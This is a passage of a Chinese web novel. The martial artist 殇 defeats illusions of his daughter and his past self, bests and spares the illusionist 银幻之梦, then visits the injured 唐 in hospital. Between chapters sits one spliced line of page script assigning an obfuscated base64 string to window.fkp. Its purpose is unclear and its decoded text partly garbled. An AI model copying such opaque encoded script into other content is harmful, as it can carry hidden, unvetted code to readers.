殇伸出手,想要碰到她。但在他即将碰到自己女儿时,一根根漆黑的锁链从天空中落下,以迅雷不及掩耳之势就绑住了他的四肢与身体,将他牢牢地固定在原地。殇努力挣扎,可怎样都无法挣脱这锁链。这时,一团团烈火从他女儿身后喷涌而出,将他女儿团团包围住。 “爸爸,我怕......你在哪里?爸爸,爸爸!” 随着她说完这句话,许多倒塌下来的瓦片与房梁压了下来,将她给掩埋。在一旁的殇目睹了这一切,他奋力挣扎,想要挣脱这锁链,可奈何这锁链过于坚硬,殇的挣扎是无力的。火势蔓延到了这堆房梁与瓦片堆上,开始焚烧那个脆弱的生命。殇挣扎着,怒吼着,眼睁睁地看着一切都被烧成了灰烬。殇的眼角流下了两行愧疚的泪水,他闭上眼睛,痛苦地哀嚎。这时无数黑色触手从殇的身后出现,慢慢地伸向了殇。就在这些触手即将触碰到殇的时候,殇一把抓住了其中一只触手。 此时,殇的脑中回想起了梦里女儿对他说过的一句话。 “爸爸,好好对待你身边的人,别在失去之后再后悔了......” 殇咬紧牙关,背负着沉重的锁链站了起来。他抓紧这只触手,然后用尽全身力气一个过肩摔向前摔去。一个长满触手的黑色球体被殇摔飞出去,咣当一声砸在了那堆瓦片之中。殇抓住胳膊上的锁链,用力去扯。殇的手中突然出现了金色的光芒,当的一声,这锁链应声断开。紧接着,他身上的其他锁链也随之断开。 “过去的一切,不能成为阻挡我前进的阻碍!打破沉沦,直面现实,才为男子汉大丈夫。” 殇铿锵有力地说道。殇跑向那个黑色球体,对着它就是一脚。这个黑色球体快速反应,及时躲开了殇的这一脚。这个黑色球体随机消失,后周围的景象变得愈发黑暗起来。 踏水声从背后传来,殇猛地回身,发现是赤手空拳的伊正在向着自己走来。再次见到伊,殇就变得警觉了很多。他不再相信眼前的幻象,敢于对着自己所爱之人亮出拳头。真真假假,假假真真,幻境之中的一切,都是捏造出来的海市蜃楼罢了。伊看到殇如此警觉,觉得有些奇怪地问道: “怎么了?殇。我有做错什么吗?” 殇没说话,背起手来瞪着伊。伊见他如此,继续说道: “是我长得还不够好看吗?呵呵,如果我是这样的呢?” 伊瞬间变成了肃清者的样子。殇见了,心里不由得一颤,他紧皱着的眉毛松弛了。见殇如此,肃清者抿嘴笑了笑,然后拿出了一把手枪。肃清者笑着对殇说: “父亲,你还记得这把枪吗?” 肃清者单手捧着这把枪,笑眯眯地看着殇。见到这把枪的瞬间,殇吓得全身冒汗,他认得这把枪。肃清者对殇说: “父亲,这把枪是我父母的遗物,也是我当初一直抱着的器物。当初你的军队杀死我父母的时候,我父母在临死前将这把枪交给了我,让我防备你和你的军队。” 殇回想起了当初,事实正是肃清者所说的那样,他和他的军队的的确确杀死了肃清者真正的父母。而且现在想来,肃清者的父母本该是俘虏营里的人,却因为他当时的冲动而命丧刀下。肃清者阴下脸来对殇说: “我的父母说你们的军队会俘虏他们,而不是杀死他们。他们本想弃暗投明,为了你的军队奉献一点力量,但你和你的手下却在那之前杀死了他们!你的仁慈去哪里了?当初你不也俘虏了那些友善的殖民者吗?我的父母也同那些人一样,都是来这里经商的商人。但为何你对待我的父母,却是那般残暴的态度呢?” 殇的表情变得难看起来,她说的每句话都深深刺痛了殇的内心。殇试着去争辩,可她所说的皆是现实,他无力去争辩。殇无奈地叹了口气,心中的愧意逐渐爬上他的脊梁。他告诉肃清者: “抱歉,女儿。” 肃清者露出了阴森的笑容,这笑容让殇感觉不安。她质问殇: “你若真的恨那些殖民者,但为何要为了我这个殖民者的孩子而撒谎呢?又或者说,你只是在借着大义而泄愤呢?” 殇闭上眼睛,无奈地沉默。他紧握着的拳头松开了,见此,肃清者慢慢向着殇走了过去。肃清者边走边对殇说: “我知道你的妻女死在了殖民者的手下,你肯定会很愤怒与难过。我作为一个殖民者的后辈,你却认我为女儿。你明明那么爱你的妻女,却肯认我这个对您来说算得上‘小贱人’的人为女儿,让我与她们并行存在,您可真是够仁爱啊。” 在与殇只有十步的时候,肃清者拔出了腰间的匕首。她用手擦了擦刀刃,把刀刃擦得反光。肃清者停在了距离殇只有五步的位置上,她把匕首一把扔到了殇的脚边。殇睁开眼去看,此时他的眼中已是满满的愧疚与自责。殇捡起这把匕首,好好地看了看。肃清者轻声对着殇说道: “父亲,如果你现在想彻底完成你的诺言,我就站在这里,无论你怎样做,我都不会反抗的。” 殇深情地看了看肃清者,愧疚已经冲垮了他心理防御,他现在只想去赎罪,好好地向自己的女儿道歉。殇收起匕首,慢慢地走向了肃清者。肃清者见了,一脸疑惑地问他: “父亲,你这是干什么?” 殇走到肃清者面前,给予了肃清者一个爱的拥抱。肃清者有些茫然,反应过后她露出了笑容,抱紧了殇。殇深情地对肃清者说: “对不起,澪。是我当初的莽撞让你如此难过与愤怒。” 肃清者听了,露出了阴森的笑容,她的手指上泛起黑色的魂气,她抱着殇的力气变大了许多。那些黑色魂气正准备攻击殇,突然,受到外力而突然消散。一把匕首刺进了肃清者的腹部,肃清者此刻惊讶万分。殇轻轻一把推开肃清者,深情地看着此时惊讶万分的她。此时殇再次幻视,肃清者由成年突然变成幼年,同样迷茫的眼神,同样惊讶的表情。 这时,殇的眼角流下两行泪水,他的眼神之中虽满是愧疚,但其中蕴含了常人难以想象的决意。殇流着泪对肃清者说: “我是个不可救药的混蛋。对吧?澪。心毒的滋味我尝过,我的女儿。即便恐惧,我也依然要面对!” 殇冷血无情地拔出匕首,任鲜血飞溅而出。肃清者踉跄了一下,眼神之中充满了对死亡的恐惧。殇握紧拳头,前走三步一个溃身破体拳直接打穿了肃清者的身体。肃清者往地上吐了口鲜血,一脸不解地看着殇。殇的表情很是严肃,眼神坚定无比,仿佛任何大风大浪都无法打动殇的内心。 这一拳,是他对心魔的告别! 周围的景象瞬间发生改变,墨色逐渐褪去,新的场景逐渐出现。过去的种种回忆浮现在他的眼前。他曾快乐过,也曾痛苦过;他曾拥有他所想要的一切,也曾一无所有;他曾见过盛世美景,也曾见过荒凉末世。过去的那些滋味让他怀念,可不会让他止步不前。他早已放下一切,参透了世间的真理。此时的他,已经无所谓得到与失去。 这一拳,是殇对肃清者最深沉的爱意! 天上落下碎镜片,天地开始崩塌。天地相交处的耀眼红光开始频繁闪烁,像是这里最后的哀鸣。这里的一切都如镜子一般,尽数破碎成无数碎片。他与家人生活时的景象历历在目,那些生活虽然说不上幸福,但却是一番独特的快乐。他对子女的那份深沉的爱意,至今从未改变过。东方舞熙、东方林东、澪、甚至是现今的伙伴伊,他都始终再用那份深沉的爱意去对待他们。即便这份爱不一定能被理解,他也愿意去付出那些爱意。 这一拳,是殇全力打出的一拳! 周围的景象变成了殇王国的空中花园。天上是琳琅满目的群星,地上是精致的石板路。此时此刻,殇发现自己的拳头竟打在了身穿国王战甲的另一个他身上。另一个他嘴角流着鲜血,表情却是满意的微笑,看着怪诞极了。面对另一个自己,他有些难堪,甚至有些不敢直面。因为他眼前的是过去的自己,是他最不想去面对的那个自己。 再一拳,击破心毒。 殇将手抽了回来,然后再次握拳,另一个他也做出了同样的姿势。两人蓄势待发。接着在无声的号令之后,两人几乎同时出拳,对着对方的胸口就是一记崩心拳。之后,两人的身体几乎同时颤动,但一时不知谁胜谁负。两人的拳头都结结实实地打在了对方身上,可最终倒下的人,却是另一个殇。见到是这样的结果,殇瞬间释然了许多。 这招真正决定胜负的地方不在力道,而是在拳头的速度。谁是那个先被打中的目标,谁就先倒下,反之则以。这一招,殇苦练了很久,现在已经练到出神入化的地步。殇今日的拳速比以往要快一点。就是这一点的差距,决定了殇的胜利。他战胜了自己,战胜了过去不敢面对的那个自己。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三十四话:武德重归 一面漆黑的镜子底端突然出现了一道巨大的裂缝,这道裂缝不断扩散,像一棵茁壮成长的树一样将枝叶遍布整面镜子。强有力的生长让裂缝蔓延出镜子,逐步在边缘的物体上狂野生长。镜子两旁的羽翼无力地煽动着,就像一只伤痕累累要坠地的鸟儿一样。 一旁的银幻之梦见了,大惊失色。他的额头上两滴汗流下,他原本自信的表情变得惊恐起来。他本能地后退了好几步,接后惊呼道: “不可能!被空虚之境吞掉的人是绝无可能挣脱的。” 轰隆一声,这面镜子爆炸式地崩裂了。无数残片像子弹一样射向四面八方,又像天女散花般撒得到处都是。镜中出现了一个黑色的漩涡,无数黑色魂气从其中心向外散发,银白色的雾气从其中心喷涌而出。一个全身漆黑的天使从漩涡中爬出,她站在漩涡上挺直腰板,做出祈祷的姿势。黑色魂气凝聚成一对漆黑羽翼,形成了她背后的翅膀。她默念几句祈祷词,祈祷着胜利的到来,之后便振翅高飞,飞离了这里。 随着这个黑色天使飞走,这面镜子分崩离析,最后发生了爆炸。在一道耀眼的光芒与震耳欲聋的爆炸声之后,现场只留下了一个被炸出来的大坑与遍地的碎渣。此时遍地浓烟四起,一切又变得梦幻起来,不过这次不是幻觉,而是现实。一阵狂风吹来,吹散了浓烟,让殇在烟中的身影变得清晰起来。待浓烟完全散去,殇慢慢走向了银幻之梦。见到殇走向自己,银幻之梦有些慌张,但还是摆出了无所畏惧的样子。他从脸上挤出笑容,问殇: “怎么样?是不是做了个好梦啊?” 殇停下脚步,背起双手,笑着回答他: “没错。的确是个好梦。好到我都有些潸然泪下了。我的确得感谢你,帮我肃清了我的心毒与梦魇。” 银幻之梦拍了拍手,对殇夸赞道: “想不到我的妹妹竟如此温柔,还能帮人治疗心病。看来可以考虑以后去开个心理诊疗所。” 殇听他这么一说,满脸的疑惑。镜子和人,他怎么联想都没法将两者联系到一起去。他问银幻之梦: “啊?那面镜子是你的妹妹?” “没错。我的妹妹空寂天使在人间的化身就是那面镜子。现在你将它打破,让我妹妹没有了容身之地。” “那你再买一个不就行了?” “哼,真没情商。难倒你给我钱去买新的吗?” “我穷得很,没有多少钱能去赔你。但你若要命,我有一条。你要有本事来取,尽管来尝试,我来者不拒。” 殇的话语似乎激怒了银幻之梦。银幻之梦身上泛起白黑相间的魂气,手中的长枪燃起了苍白色的魂火,寂静随着魂气的散发笼罩周围。突然间,寂静被打破,一首悲凉的奏鸣曲奏响,回荡在剧场大厅之中。细细品味,是一支无形的乐团在倾情演奏。又是不经意间,舞台极其周围又变了样子。 殇环顾四周,看到宽广的桥面与远处灯火通明的城市。殇定睛一看,才发觉眼前的景象究竟有多震撼。 远方的城市之中有着许多缓慢运转的巨大齿轮,齿轮上都有着精美的花纹,仔细看还能看到几颗嵌进去的宝石。城市的远郊与地平线相接,其间可以看到一条清澈的河流穿过郊区,流向远方。一缕缕黑烟从地平线处的烟囱中升起,向上浮起与天相接,融入天边的云彩。城市的上空笼罩着几朵孤独的阴云,其间不时有星光闪烁。抬头向上看,那无垠星河就藏在阴云的后面,等待着有心人的抬头。 近处的桥头处伫立着一座哥特式风格的钟楼与一根根吊住桥面的钢索。细细聆听,能听到滴答滴答的走表声,细细品味,发现那声音似无言的宣告。整座城市此刻寂静无声,似乎在聆听着来自钟楼的声音。钢索轻轻颤动,似乎是在附和钟楼之声。钢索上不惹人注意的侵蚀痕迹在此时显露无疑,时间的流逝让它老去、锈去,可这钢索依然坚挺,始终拉住这座大桥的桥面,使其以高傲的姿态屹立于都市之巅。 看过这些,殇转过头来去看银幻之梦。这时,银幻之梦身上的西服边缘金化得闪闪发光,西服上又慢慢浮现出的多处水银花花纹银辉四溢,高贵与优雅的气息又增添几分。他向侧边挥手,背后披风化作无数残片随风散去。披风散去后,他的背后发出了银光,紧接着六只发光的触须迎着银光伸了出来。随着风儿,这些触须像披风一般摆动,空灵且梦幻。 太阳在此刻从地平线处升起,黎明的光辉洒向这个世界。天边的云彩被染得金黄,而城市上空的阴云因为离地平线处较远,则是被染成了十分梦幻的粉紫色。这是一天的开始,是昨日的结束。早晨是喧闹的,就像一呼一吸,吸气时总要比呼气用力。 城市之中的齿轮开始加速旋转,带动的是整座城市的复苏。城市在此刻苏醒,城中的一切都在走表声与齿轮的旋转中诞生与毁灭,一轮又一轮的循环展开。先前的宁静荡然无存,低沉的齿轮运作声击碎了这宁静,世界开始低鸣。一切都是那样梦幻,像是童话但又无比真实。 侧对太阳去迎接黎明,站在狂风之中摆出架势。不顾远处的美景,全心专注于战斗。桥面上的一黑一白,像宿敌般警惕地看着对方。任凭狂风肆意呼啸,两人始终没有挪动半步。 几秒钟之后,银幻之梦伸出手,将长枪唤回手中。银幻之梦冲殇笑了笑,而后说道: “在此呈现,《挪瓦尔非的奏鸣曲》。准备面对无疆之子的神备吧!我期待你的表现,我的对手。” 殇笑了笑,而后严肃,说道: “无疆,乃元古圣贤,掌管精神。其化身为人,其本为海妖。上陆地学法术,因学法走遍世界,得名无疆。” 银幻之梦笑了笑,夸赞道: “你懂得还挺多。不过......” 银幻之梦摘下他的帽子,将这顶帽子一把扔向了殇。银幻之梦挥动长枪,一道剑光从天而降,搜的一下切碎了那顶帽子。银幻之梦用枪头对准殇,郑重地对殇说: “敬请聆听,这悠扬的乐曲。来跳支舞吧。” 说完,银幻之梦疾步前冲,迅速来到了殇面前就是用力一刺。殇一个矫健的步伐横移躲开,可以说是毫不费力。几道剑光随银幻之梦一同袭来,殇又一个横移躲开。紧接着,银幻之梦故技重施,又一个疾步前冲突刺而来,殇熟练地躲开,又熟练地躲开那些剑光。又连续突刺三次之后,银幻之梦来到了离殇十几米的大桥中央。苍白之火在枪头燃烧,银幻之梦缓缓让枪头接地,然后枪头嗖嗖两下划过地面,掀起两道苍白色的地火龙卷。火龙卷从两个方向快速袭来,殇先一个横移躲掉最先到来的,又后一个翻滚躲掉紧接而来的。银幻之梦这时转体一周,苍白之火猛烈燃烧。 银幻之梦: “剑波似浪!” 银幻之梦停身扫地一气呵成,枪头快速划过地面,掀起如巨浪一般向外扩散的苍白色地火,其速度之快像是激流,声势浩大如同巨浪。所经之处的地面尽是裂痕遍布、炎火泛起,无数碎石与尘屑随同裹挟而来,像是一阵狂风。殇见了,疾步前冲配合一个飞跃跳过地火,然后以翻滚落在了平整的地面上。银幻之梦侧过身体,让核心能量汇聚于枪头之上,强大的能量使枪头上苍白之火燃烧得更加猛烈。 银幻之梦: “破灭幻形!” 银幻之梦汇聚能量,对准殇用力一刺,一道锥形穿刺剑光脱出枪身,以迅雷般的速度袭来。殇见此一个大范围横移躲开,紧接着回头去看这道剑光。轰的一声,桥上的吊柱被打出了一个大坑,无数裂缝从坑边向外扩散,顿时间裂痕覆盖了八分之一的桥面。这一击威力巨大,整座桥都颤动几分,若是用肉身接下,将以肉身坏灭为结局。见闻这一招,殇满意地笑了笑。能达到这个程度,已经符合了殇对他的期望。殇转过头来,摆了摆手指,做好了随时打出致命一击的准备。 此时,银幻之梦的手中出现了一团烟雾,他随手一挥,手中的烟雾消散。紧接着,几团烟雾出现殇的周围,将殇给包围住。殇见了,平淡一笑,将手往后一背,摆出了一位老师傅的姿势。银幻之梦快步往后一退,一团烟雾突然出现包裹住了他,紧接着烟雾消散,他也随之消失。这时,那几团包围殇的烟雾之中泛起了一丝白光,殇敏锐的眼光察觉到了这点,他抿嘴笑了笑,然后闭上眼睛,静静地感受周围的风吹草动。 银幻之梦心里: “梦想中的华尔兹!” 突然,几道白色闪光冲出烟雾,向着殇疾驰而来。殇猛地睁眼,一跃而起躲开这几道白色闪光,脚底正好与这些闪光有不到半尺的距离。殇一个附身落地,又平淡地站起身来。又几道白色闪光袭来,殇用灵活的身法与技巧全部躲开。接下来,无数道白色闪光从西面八方向他袭来,以不同速度靠近,展开了一场疯狂至极的攻击。白光疯狂闪烁,其光芒甚至有几刻超越了太阳;清脆的金属碰撞声附和着乐曲,形成了独特的音律。闪光在桥面上快速穿梭,像是一根根锐利的飞剑。 招式收尾之时,二十多道白色剑光从天空中像落雷般落下,引得白光闪烁、地面颤动;银幻之梦的分身化作舞者,抡起长枪开始起舞,伴随着数不清的剑气进行过环形切割,这招攻击范围内的一切皆被斩成碎末,就连这地面也被活生生削去一层。收尾之际,银幻之梦所有的分身对着中心释放突刺攻击,紧接着银幻之梦挥舞长枪,以一个Z型穿刺攻击穿过攻击场地,将场地内的一切都尽数抹除。做完这一切,场地内的空间如镜子般破碎片刻,嗡的一声,空间恢复,一切归为平静。 银幻之梦自信地露出笑容,转身去看被自己破坏得不成样子的场地,然后下一刻,他就傻眼了。场地中心只有一柄属于他分身的长枪,周围的地面上除了碎石与裂痕以外什么都没有。他此时幡然醒悟,发觉殇可能早就逃脱了自己这招的攻击范围。这时,有人轻轻拍了拍他的肩膀,并用温柔的语气对他说: “请问,你还能再给我表演一次吗?你刚刚那招好帅,我能学吗?” 银幻之梦吓出了一身冷汗,他知道自己身后那人是谁。他立马转身就是一个突刺打过去。但没想到,他这一突刺被那人成功化解。转过身来,他定睛一看,正如他所想的一样,此人正是殇。殇笑了笑,分别对着他的下巴,胸膛与腹部来了一掌,借此夺过他手中的长枪。他见此,将能量汇聚在双手之上,正准备两拳将殇打退,殇就一掌打了过来。没有躲的余地,他接下这一掌,往后踉跄了一下。殇乘胜追击,向前小迈一步,一套连招招呼了过去。扫堂腿、下劈腿、舒径活路五连拳、拽起后二连重踢、推搡接通心掌,给他打得神魂颠倒。他试着挣扎与反击,但奈何殇的武艺高超,他的招数被反制了回去,反而让自己受到了更大的伤害。他往地上吐了口血,捂着腹部连连后退。殇见了,立马上前一个骤雨打击(快速连拳)给他打倒在地。他快速起身,趁此时,殇一个回旋踢将他踢飞出去好几米。 他在地上滚了好几圈,像一个桶子一样。待后劲消去,他快速起身,然后一把将长枪唤回手中。殇见此意识到不妙,立马就上前去准备击倒他,但他还是慢了一步。银幻之梦往后一退,在殇打中他之前重新藏进了烟雾之中。殇见了警惕地环视周围,用敏锐的眼光寻找银幻之梦的身影。 这时,本来温和的阳光突然变得寒冷许多,殇扭头看去,发现地平线上的太阳变成了诡异的红色。红光笼罩整个世界,貌似有什么不好的事情即将发生。这时,殇的余光看到银幻之梦的身影,他扭头看去,看到银幻之梦对那轮红日挥了下手中的长枪。突然,那轮红日闪烁了一下,随后被一分为二,上下两部分左右分开,像是一块被斜着切开的石榴。 见到此景的殇,表情之中是难以诉说的惊讶。但他的惊讶是短暂的,他很快扭过头来,将注意力全部放到了银幻之梦身上。此时天色瞬间变暗下来,城市及其上空都被黑色的烟雾所覆盖,能看见的只有齿轮上的颗颗宝石所发出的微光。烟雾之中出现了一只只蓝色的眼睛,像一颗颗星星一样点缀这黑色的浓雾。在原来太阳的位置,出现了一只巨大的眼球。这只大眼睛与其他小眼睛一起去注视桥上的二人,似乎是在审视二人的实力。此时天空中下起了小雨,还有几道雷光随其同来。雨水淅淅沥沥的落下,洗刷着大地与两人彼此的心境。此时,清脆的钟声缓缓响起,这让二人稍稍平静的心境又躁动起来了。钟声像是比赛时的口哨声,让二人再次燃起了战意。正巧此时奏鸣曲从底谷再次走向另一处高潮,这加剧了二人心中的战意。 银幻之梦背后的触须变长一倍,他脸庞长出了黑色的鳞片,同时他的右眼开始发出淡蓝色的微光,超拟态在他身上稍稍显形。他握紧手中的长枪,一个后撤躲进烟雾之中。殇见了,表情变得有些难堪,环顾四周,发现周围的光源很昏暗。殇无力地吐槽道: “为什么不把这段战斗设计的再明亮一些?这太他妈黑了!我压根看不到那小子弄的烟雾。或者说......这里到处都是烟雾!操,真你妈的有意思啊。看来是他压箱底的招数了。” 这时,殇的背后出现了轻轻的风,他敏锐地察觉到这一点,一个侧身打算故技重施,但没想到他躲开这一击的瞬间银幻之梦就消失了。紧接着是同样的招式袭来,殇依旧熟练地无伤躲避。接下来银幻之梦的攻击频率逐步加快,样式逐渐眼花缭乱起来,可就愣是没打中殇一下。殇在躲避的过程中甚至跳起了舞,甚至还在某一时刻走起了月球漫步,这给银幻之梦气到了。后来见这招不好使,银幻之梦赶忙结束攻击,转而去准备新的招式。见攻击停下,殇耍了一套街舞,然后走起了月球步,以示嘲讽。 这时,银幻之梦从桥的另一边现身。他高举手中的长枪,将核心能量汇聚在枪头之上,让那苍白之火重新燃烧,而且让其燃烧得更猛烈。见到银幻之梦现身,殇立马向着他疾驰过去。银幻之梦见此,召唤出三十几号分身。烟雾缭绕,那三十几号分身遁入烟雾,瞬间消失。 银幻之梦再次高举长枪,他的分身们随即出现在了空中。他们依次从空中加速落下,同时用对地突刺的方式去攻击在地面疾驰的殇。殇见了,快速闪身躲避,但总是险些被其击中。这是因为他们的攻击带有预判性,他们依靠着自己对殇运动轨迹的推测,对着不同的位置进行攻击。殇也很快悟出了这一点,于是他的闪避开始有了假动作。这招很管用,预判了那些分身的预判,让他们的预判彻底失效。那些分身攻击完毕后就保持落地姿势一动不动了,似乎这样做有什么目的。殇察觉到了这一点,开始去留意这些落地后静止不动的分身。 三十多号分身全部落地,殇也即将达到银幻之梦那里。在时机成熟的那一刻,殇跳起一个飞蹬腿就招呼了过去。不过银幻之梦反应迅速,向后一退,躲进烟雾中避开了这一击。殇轻轻落地,再次搜寻银幻之梦的身影。这时,殇脚下的地面出现了诡异的白光,殇见此一个后撤步躲开。一道地火龙卷拔地而起,阻断了离开大桥的路。殇这时回头一看,发现另一端的桥头也是这样。他此时明白银幻之梦的意图了。 银幻之梦: “破梦无形!” 突然,一道白色闪光从桥另一端的地火龙卷中冲出,紧接着无数白色剑光像落雷般从天空中劈下,其声势浩大且炫酷无比。此时殇没顾着躲避,而是仔细打量起这招来。殇突然发现,这些剑光降下的位置都是之前他那些分身所在的位置。那些分身被剑光击中之后化成了无数破碎的镜片,在梦幻之中又有些怪诞。面对这道白色闪光,殇一个大范围横移躲开,同时许多道白色剑光从天空中袭来,殇用高超的身法躲开。那白色闪光沿路留下了一条很长的白色火焰拖尾,点燃了沿路的每一处地面,像是划过天空的一颗流星,又像是一列疾驰的列车。 一轮攻击完成,又一轮攻击开始。这次从殇身后的地火龙卷中冲出,还是同样的招式,殇也还是同样的方法躲避。但这次,殇不小心碰到了其中的一道剑光。这道剑光像是虚无缥缈一样,殇的胳膊与这道剑光接触,没受到任何伤害而是直接穿了过去,就像穿过了一道投影一样。殇留意到这点,心里暗暗想道: “好家伙,原来还是没有脱离幻术这个范围吗?真真假假,假假真真,真的永远是真的,假的永远是假的呀。” 这轮攻击结束,银幻之梦一个冲刺来到大桥中央,他高举手中的长枪,将核心能量汇聚于枪头上。殇趁现在向着银幻之梦疾驰而去,想要一招就降服他。汇聚完能量,银幻之梦放下长枪,然后摆出架势,用力一挥,整座大桥上瞬间下起了一场白色剑光雨。顿时间白光闪烁,流光快速舞动,看得人眼花缭乱。剑光雨过后,空间发生多处错位偏移,又在片刻后恢复原样。银幻之梦汇聚能量,又是用力一挥,又是一轮疯狂的剑光雨。此时正值奏鸣曲第二个高潮的前奏,压抑了许久,即将迎来一轮爆发。 银幻之梦汇聚全部能量于长枪之上,待奏鸣曲高潮到来的一瞬间,他用尽全力对着周围三连斩,接着就是突然到来的寂静。寂静片刻,更加疯狂的剑光雨猛然到来,同时伴随着许多道幻影剑气的环形切割。天降剑光如骤雨般打击地面,幻影剑气似暴风呼啸般掠过地面,是一场绚丽的风暴正在肆虐,既让人眼花缭乱,又让人无不惊叹。风暴短暂地持续了一会,之后一切重归平静。风暴之后的大桥上弥漫着片片尘雾,桥上的一切都变得扑朔迷离起来。待尘雾散去后,才看得出大桥上已是一番破败的景象。桥面上裂痕遍布,到处都是碎石渣与坑洼,原先的样子已经看不出几分,像是遭遇了什么天灾一样。银幻之梦见此,自信地露出了微笑。他并未看到殇的身影,猜测殇已经命丧黄泉。由此,银幻之梦感叹道: “哎......想不到我竟能比红色收尾人还强大。真是让人大跌眼镜啊,打败红色收尾人的人竟能被我消灭。也许是一物降一物吧。” 正在他感慨万千的时候,又有人拍了拍他的肩膀。他激灵一下,那一幕似曾相识,他感觉到了危险。他刷的一下回身,一个横扫打了出去,但没想到身后竟然没人。正在他好奇之时,殇重重地一掌拍在了他的后背上。他踉跄一下,回身一个刺击打出,殇轻轻移步躲开这招,然后故技重施,夺过他手中的长枪,又一个推搡将他推开。银幻之梦一脸不可思议地问他: “为什么活着?!” 殇扔掉手中的长枪,笑着向他解释道: “君子敏于行而讷于言。” 说完,殇用拳脚功夫很迅速地将他击倒在地,对着他的脸打了几拳,又把他拉起来。银幻之梦背后的触须此时向殇发起了进攻,殇灵活地招架与躲避,银幻之梦见了,也用起功夫来配合触须的攻击。但他这么做无非就是班门弄斧,他的武艺与殇还差得远呢。几轮下去,银幻之梦八手也不敌殇双手,逐渐走向了败局。但在彻底失败之前,银幻之梦要拼一把。他将长枪唤来,想偷袭殇一手。可殇反应迅速,在长枪飞来之际一个回旋踢给这把长枪踢飞了出去。见这招不成,银幻之梦用尽全身解数,对着殇一顿猛攻。殇用熟练地化解他的一招一式,最后抓住机会,对他使用了处决。 触须袭来,殇一手抓住一只,然后灵活地躲避与招架银幻之梦的攻击。抓住时机,殇一个侧移步绕到银幻之梦身后,将左手握着的触须顺势绕银幻之梦的脖子一周,然后背对于银幻之梦往下一拉。银幻之梦脖子上的触须形成了一个套环,正在殇的操作下逐渐缩紧。他感觉到了窒息感,于是拼命挣扎,但无济于事。他眼神中充满了恐惧,对死亡的恐惧。他的嗓子里蹦不出一个字来,只是无助地呜咽着。 银幻之梦心里: “不,不不不!别这么做......我还不想死!” 窒息感越来越强,他的视线逐渐模糊。恍惚间,他看到十分梦幻的景象,那是一片生机盎然的草原,草原上站着他已故的家人。殇咬着牙,表情很是狰狞,但他拉到一定程度,就松了手。殇松手后,银幻之梦一下子趴倒在了地上。他大口呼吸着空气,感受着心跳与呼吸。濒临死亡的感觉让他后怕,感受过那种感觉的他,此时才明白生命的可贵。他回头去看殇,发现殇露出了慈祥的笑容,眼神中没有丝毫敌意。银幻之梦站起身来,将长枪唤回手中。他还是有些不服输,决定再拼一把。 银幻之梦: “你的仁慈会让你付出代价!” 殇见了,笑着背起手来,一脸风轻云淡地看着他,就像看着一个不懂事的孩子一样。银幻之梦出手迅速,想用一套连招杀死殇,但在他打出第一招的时候,殇就打断了他,并再次夺过他手中的长枪,同时将他踹倒在地。殇慢慢抡起手中的长枪,此刻,银幻之梦再次感觉到了对死亡的恐惧。他本能地往后挪了几下。殇猛地一个下劈,吓得他伸手去挡的同时闭紧了双眼。当的一声,长枪的枪头结结实实地劈在了他头旁边的地面,而非劈中了他。这时银幻之梦缓缓睁开双眼,慢慢放下了手,他看着眼前的一切,眼神之中满是不解与疑惑。殇对他笑了笑,然后一把将长枪扔了出去。长枪落地的瞬间,周围的幻境烟消云散。又回到了舞台之上,一切开始的地方。 银幻之梦还有一丝想要战斗的信念,刚想抬手攻击,殇一个重拳打在他身旁的地面上,直接打出了一个大坑。这是他第三次感觉到死亡与自己擦肩而过,他的战意随着这一拳的打出彻底消散。他输了,熟得很彻底。 殇见他迎接失败时的一脸惆怅,就笑着问他: “想学啊,我教你啊。” 他一脸不可思议地看着殇,眼神中是难以诉说的惊讶。殇见他如此,一脸平淡地向他伸出了手,想要将他拉起。此时此刻,银幻之梦顿悟了。他站起身来,后退一步,向着殇跪下了。跪下后,他真诚地说道: “大师,我输了!” 奏鸣曲此时演奏完毕,正巧是战斗结束的那一刻。舞台上的灯光照在二人身上,像是一场舞台剧的落幕。殇拉起了银幻之梦,让他坦然地迎接自己的失败。被殇拉起的瞬间,银幻之梦没有不甘与愤怒,反而是觉得释然了许多。这一败,何尝不是一种享受呢? 此时此刻的殇,心境的变化如沧海桑田一般。他感觉自己登上了一座高峰。那座高峰上晴空万里、旭日高照,他就在高峰山看着天上的一切;他深吸一口气,感觉空气格外凉爽,就像是充满未知与挑战的未来;他呼出一口气,感觉心中沉重的负担都被放了下来,就像是对过去的一种道别。 在高山之巅,殇慨叹道: “以武破其身,以德破其魂。以仁会天地,以礼待世人,以智断纠葛,以义行大道,以诚许诺言。这是武道,也是武德,更是武魂。” 在扶起银幻之梦后,银幻之梦对着殇笑了。那笑容格外灿烂,让殇也忍不住发笑。但随后,他又严肃起来。他郑重且深情地告诉银幻之梦: “这,就是武德。” 到了夜幕时分...... 殇拎着一袋水果来到了医院之中。他走入其中一间病房,看到了守候在唐身旁的杜牧之。见殇到来,杜牧之招呼道: “诶!大英雄,你来啦。” 殇摆摆手,说: “我不是什么大英雄,正常叫我就行。” 殇将这袋水果放在唐的床头。唐见了,对殇感谢道: “真是感谢你啊,殇。要不是你,我也许就交代在那里了。” 殇一脸平淡地对唐说: “你人没事就行了。” 殇找了个椅子坐下,然后询问起唐的状况。 “杜老先生,你女婿他现在什么状况。” 杜牧之回答他: “还行,起码没伤到要害,都是皮肉之伤。” 听他这么说,殇放心了。殇继续问道: “那笔钱呢?” 杜牧之的脸上浮现出一抹略显沧桑的微笑,他回答道: “已经用去做手术了。现在家里人都陪着他去耀斑市的富人区做手术去了,现在还没回来呢。” 殇听了,点了点头,继续问道: “你觉得手术能成功吗?” “医生说成功的可能很大,应该可以的吧。” “但愿可以的吧。” 殇看向一旁的唐,问道: “话说,唐。你是怎么弄到这些钱的?” 被问及这个问题,唐语塞了一下,不知该怎么解释。他的眼神飘来飘去,似乎想去隐藏真相。但他念在殇帮助他们如此多的份上,他还是选择了坦白。他告诉殇: “我弄到了一块x-2晶体,通过一些非正常手段。我把它卖给了银幻之梦,是他给了这些钱。” 殇思索片刻,觉得这个晶体的名字有些耳熟,似乎从哪里听过。殇继续问道: “那他为什么会去攻击你呢?” 唐思考了片刻,回答道: “我也不知道。可能是因为你吧。那时他说他要我家人带来的那个人。他指的,应该是你。” 